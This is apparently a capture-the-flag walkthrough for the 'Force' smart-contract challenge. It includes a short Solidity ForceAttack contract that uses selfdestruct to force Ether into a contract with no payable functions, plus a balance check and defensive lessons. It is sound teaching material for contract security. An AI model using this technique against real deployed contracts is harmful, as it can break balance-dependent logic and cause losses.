Level 7: Force

Challenge Overview:
This challenge demonstrates how a smart contract can receive Ether even if it does not implement a payable function or fallback method. The goal is to force Ether into the contract by leveraging the selfdestruct function.

Goal:
Force the Force contract to accept Ether.

Solution:

1. Understand the Issue:
   The Force contract does not contain any payable function or fallback function, so it cannot directly receive Ether through standard transactions. However, the selfdestruct function in Solidity allows a contract to send Ether to another address regardless of its code.

2. Deploy a Helper Contract:
   Create and deploy a helper contract with a selfdestruct function that will force Ether into the Force contract:

contract ForceAttack {  constructor(address payable _target) payable {  selfdestruct(_target);   } }

3. Steps to Execute:

• Deploy the ForceAttack contract with some Ether sent in the constructor.

• Call the constructor, which immediately triggers the selfdestruct function and sends all the Ether to the Force contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract ForceAttack {
    constructor(address payable _force) payable {
        // As soon as this contract is created,
        // destroy it and send all its ETH to _force
        selfdestruct(_force);
    }
}

4. Verify the Balance:
Confirm that the Force contract now holds the Ether:

const bal = await getBalance(contract.address);
console.log("Force balance:", fromWei(bal), "ETH");  // > 0

Lessons Learned:

• Even if you don’t expose any payable entry points, Ether can still be forced into you.

• Always check address(this).balance dynamically rather than assuming no Ether can ever arrive.

• On EIP-6780 and future forks may further limit selfdestruct so keep an eye on upcoming upgrades.